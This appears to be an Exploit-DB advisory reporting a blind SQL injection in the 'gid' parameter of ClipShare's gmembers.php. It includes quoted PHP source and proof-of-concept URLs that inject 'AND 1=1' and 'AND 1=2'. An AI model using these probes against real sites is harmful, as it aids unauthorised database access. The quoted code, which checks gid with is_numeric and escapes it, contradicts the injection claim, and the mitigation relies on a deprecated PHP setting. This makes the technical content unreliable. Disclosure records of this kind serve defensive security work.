ClipShare 4.1.1 (gmembers.php) Blind SQL Injection Vulnerability

vendor:

ClipShare - Video Sharing Community Script

by:

Esac

7,5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: ClipShare - Video Sharing Community Script

Affected Version From: 4.1.1

Affected Version To: 4.1.4

Patch Exists: NO

Related CWE: N/A

CPE: a:clip-share.com:clipshare:4.1.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

ClipShare 4.1.1 (gmembers.php) Blind SQL Injection Vulnerability

ClipShare 4.1.1 is vulnerable to Blind SQL Injection in the gmembers.php script. This vulnerability is exploitable if the MAGIC_QUOTES_GPC directive is turned off on the server side. An attacker can inject malicious SQL code into the 'gid' parameter of the gmembers.php script, which can be used to extract data from the database.

Mitigation:

Ensure that the MAGIC_QUOTES_GPC directive is turned on in the php.ini file.

Source

Exploit-DB raw data:

# Exploit Title: ClipShare 4.1.1 (gmembers.php) Blind SQL Injection Vulnerability
# Exploit Author: Esac
# Vulnerable Software: ClipShare - Video Sharing Community Script 4.1.4
# Official site: http://www.clip-share.com
# Software License: Commercial.
#all versions are vulnerable:
#Note : this vulnerable work just if there is a group added to the community 
#Last Checked: 24 March 2013

#to exploit this vulnerability MAGIC_QUOTES_GPC directive must be turned off on server side.(php.ini)

==============================================================================================

#Vulnerable Script:
PHP script : members.php  on line 23 

=========================== BEGIN OF gmembers.php =============================================

<?php
/************************************************************************************************
| Software Name        : ClipShare - Video Sharing Community Script
| Software Author      : Clip-Share.Com / ScriptXperts.Com
| Website              : http://www.clip-share.com
| E-mail               : office@clip-share.com
|**************************************************************************************************
| This source file is subject to the ClipShare End-User License Agreement, available online at:
| http://www.clip-share.com/video-sharing-script-eula.html
| By using this software, you acknowledge having read this Agreement and agree to be bound thereby.
|**************************************************************************************************
| Copyright (c) 2006-2007 Clip-Share.com. All rights reserved.
|**************************************************************************************************/

require('include/config.php');
require('include/function.php');
require('classes/pagination.class.php');
require('language/' .$_SESSION['language']. '/gmembers.lang.php');

$gname  = NULL;
$gurl   = NULL;
$oid    = NULL;
$gid    = ( isset($_REQUEST['gid']) && is_numeric($_REQUEST['gid']) ) ? mysql_real_escape_string($_REQUEST['gid']) : NULL;
$sql    = "SELECT * FROM group_own WHERE GID='" .$gid. "' limit 1";
$rs     = $conn->execute($sql);
if ( $conn->Affected_Rows() == 1 ) {
    $urlkey     = $rs->fields['gurl'];
    $gname      = $rs->fields['gname'];
    $gupload    = $rs->fields['gupload'];
    $oid        = $rs->fields['OID'];
    STemplate::assign('gname', $gname);
    STemplate::assign('gurl', $urlkey);
    STemplate::assign('gupload', $gupload);
} else {
    session_write_close();
    header('Location: ' .$config['BASE_URL']. '/error.php?type=group_missing');
    die();
}
...........................................;
...............................................
 
?>

============================================================================================================


 
Poc :

http://server/mavideo/gmembers.php?gid=6 [Blind SQLi]

Real exploitation :

 http://server/mavideo/gmembers.php?gid=6 AND 1=1
==> return normal page

http://server/mavideo/gmembers.php?gid=6 AND 1=2
==> return page with some errors ( or with nothing - white page )



--------------------------------------------------------------------------------------
PwnEd.
Tested version:
Sunday , March 24, 2013 | Version: 4.1.4 | Username: admin | Logout
Copyright © 2006-2008 ClipShare. All rights reserved.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz : White Tarbouch Team

./Esac